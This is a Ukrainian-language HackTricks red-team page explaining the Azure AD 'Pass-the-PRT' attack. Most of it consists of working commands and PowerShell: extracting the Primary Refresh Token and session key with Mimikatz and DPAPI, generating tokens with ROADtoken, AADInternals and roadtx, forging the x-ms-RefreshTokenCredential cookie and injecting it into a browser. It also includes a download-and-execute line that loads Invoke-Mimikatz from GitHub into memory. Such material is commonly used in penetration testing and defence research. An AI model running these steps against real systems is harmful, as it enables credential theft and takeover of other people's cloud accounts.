Az - Pass the PRT

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Що таке PRT

pageAz - Primary Refresh Token (PRT)

Перевірте, чи у вас є PRT

Dsregcmd.exe /status

У розділі SSO State ви повинні побачити AzureAdPrt, встановлене на YES.

У тому ж виводі ви також можете побачити, чи приєднано пристрій до Azure (у полі AzureAdJoined):

PRT cookie фактично називається x-ms-RefreshTokenCredential і є токеном JSON Web Token (JWT). JWT містить 3 частини, заголовок, навантаження та підпис, розділені крапкою . та всі в кодуванні url-safe base64. Типовий PRT cookie містить наступний заголовок та тіло:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

Фактичний Основний Оновлювальний Токен (PRT) укладений у refresh_token, який зашифрований ключем під контролем Azure AD, що робить його вміст непрозоримим та недешифрованим для нас. Поле is_primary позначає укладання основного оновлювального токена у цей токен. Для забезпечення того, щоб файл cookie залишався пов'язаним з конкретною сеансовою автентифікацією, з якою він був призначений, request_nonce передається зі сторінки logon.microsoftonline.com.

Процес LSASS надсилатиме до TPM контекст KDF, а TPM використовуватиме ключ сеансу (зібраний під час реєстрації пристрою в AzureAD та збережений у TPM) та попередній контекст для похідного ключа, і цей похідний ключ використовуватиметься для підпису PRT cookie (JWT).

Контекст KDF - це одноразовий пароль від AzureAD та PRT, створюючи JWT, змішаний з контекстом (випадкові байти).

Отже, навіть якщо PTR не можна видобути, оскільки він знаходиться всередині TPM, можна зловживати LSASS, щоб запитувати похідні ключі з нових контекстів та використовувати згенеровані ключі для підпису Cookies.

Сценарії Зловживання PRT

Як звичайний користувач, можливо запитати використання PRT, запитавши LSASS дані SSO. Це можна зробити, як нативні додатки, які запитують токени від Менеджера Облікових Записів (брокер токенів). WAM передає запит до LSASS, який запитує токени, використовуючи підписаний PRT аргумент. Або це може бути зроблено з потоками на основі браузера (веб), де PRT cookie використовується як заголовок для автентифікації запитів на сторінки входу Azure AS.

Як СИСТЕМА, ви можете вкрасти PRT, якщо він не захищений TPM або взаємодіяти з ключами PRT в LSASS за допомогою криптографічних API.

Приклади Атаки Pass-the-PRT

Атака - ROADtoken

Для отримання додаткової інформації про цей спосіб перевірте цей пост. ROADtoken запустить BrowserCore.exe з правильного каталогу та використає його для отримання PRT cookie. Цей cookie можна використовувати з ROADtools для аутентифікації та отримання постійного оновлювального токена.

Для генерації дійсного PRT cookie перше, що вам потрібно, це одноразовий пароль. Ви можете отримати його за допомогою:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Або використовуючи roadrecon:

roadrecon auth prt-init

Потім ви можете використати roadtoken, щоб отримати новий PRT (запустіть інструмент з процесу користувача для атаки):

.\ROADtoken.exe <nonce>

Якщо ви вже маєте доступ до облікових даних користувача в Azure AD, ви можете використати ці дані для отримання доступу до локальних ресурсів, використовуючи атаку "Pass-the-PRT".

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Потім ви можете використовувати згенерований куки, щоб створити токени для входу за допомогою Azure AD Graph або Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Атака - Використання roadrecon

Атака - Використання AADInternals та витіклого PTR

Get-AADIntUserPRTToken отримує токен PRT користувача з комп'ютера, приєднаного до Azure AD або гібридно приєднаного. Використовує BrowserCore.exe для отримання токена PRT.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

Або, якщо у вас є значення з Mimikatz, ви також можете використати AADInternals для генерації токена:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Перейдіть на https://login.microsoftonline.com, очистіть всі файли cookie для login.microsoftonline.com та введіть новий файл cookie.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Потім перейдіть за посиланням https://portal.azure.com

Решта має залишитися за замовчуванням. Переконайтеся, що ви можете оновити сторінку, а куки не зникають, якщо вони зникли, ви, можливо, зробили помилку і повинні пройти процес ще раз. Якщо цього не сталося, ви повинні бути в порядку.

Атака - Mimikatz

Кроки

  1. PRT (Основний оновлюваний токен) вилучається з LSASS (Служба локальної системи безпеки) і зберігається для подальшого використання.

  2. Наступним кроком є вилучення ключа сеансу. Оскільки цей ключ спочатку виданий, а потім знову зашифрований локальним пристроєм, для розшифрування потрібно використовувати майстер-ключ DPAPI. Детальну інформацію про DPAPI (API захисту даних) можна знайти в цих ресурсах: HackTricks і для розуміння його застосування, зверніться до атаки "передача кукі".

  3. Після розшифрування ключа сеансу отримують похідний ключ та контекст для PRT. Це важливо для створення куки PRT. Зокрема, похідний ключ використовується для підпису JWT (JSON Web Token), який складає куки. Докладне пояснення цього процесу надано Dirk-jan, доступне тут.

Зверніть увагу, що якщо PRT знаходиться всередині TPM, а не всередині lsass, mimikatz не зможе його вилучити. Однак буде можливо отримати ключ від похідного ключа від контексту з TPM та використати його для підпису куки (перевірте опцію 3).

Ви можете знайти докладне пояснення виконаного процесу для вилучення цих деталей тут: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

Це не буде працювати після виправлень в серпні 2021 року для отримання токенів PRT інших користувачів, оскільки тільки користувач може отримати свій PRT (локальний адміністратор не може отримати доступ до PRT інших користувачів), але може отримати свій.

Ви можете використовувати mimikatz для вилучення PRT:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

(Зображення з https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

Скопіюйте частину, позначену як Prt, і збережіть її. Також витягніть ключ сеансу (значення KeyValue поля ProofOfPossesionKey), яке виділено нижче. Це зашифровано, і нам знадобиться використати наші майстер-ключі DPAPI для розшифрування.

Якщо ви не бачите жодних даних PRT, це може бути тим, що у вас немає жодних PRT, оскільки ваш пристрій не приєднаний до Azure AD, або це може бути тим, що ви використовуєте стару версію Windows 10.

Для розшифрування ключа сеансу вам потрібно підвищити свої привілеї до SYSTEM, щоб запуститися в контексті комп'ютера та мати можливість використовувати майстер-ключ DPAPI для розшифрування. Ви можете використати наступні команди для цього:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Опція 1 - Повний Mimikatz

  • Тепер вам потрібно скопіювати як значення контексту:

  • Так і значення похідного ключа:

  • Нарешті, ви можете використати всю цю інформацію для генерації кукісів PRT:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
  • Перейдіть на https://login.microsoftonline.com, очистіть всі файли cookie для login.microsoftonline.com та введіть новий файл cookie.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Решта має залишитися за замовчуванням. Переконайтеся, що ви можете оновити сторінку, а куки не зникають, якщо вони зникли, ви, можливо, зробили помилку і повинні пройти процес ще раз. Якщо цього не сталося, ви повинні бути в порядку.

Опція 2 - roadrecon за допомогою PTR

  • Спочатку оновіть PRT, яке буде збережено в roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Тепер ми можемо запитувати токени за допомогою інтерактивного браузера з roadtx browserprtauth. Якщо ми використовуємо команду roadtx describe, ми бачимо, що токен доступу містить претензію MFA, оскільки PRT, який я використовував у цьому випадку, також мав претензію MFA.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Опція 3 - roadrecon використання похідних ключів

Маючи контекст і витягнутий ключ, ви можете використовувати roadrecon для генерації нового підписаного кукі за допомогою:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated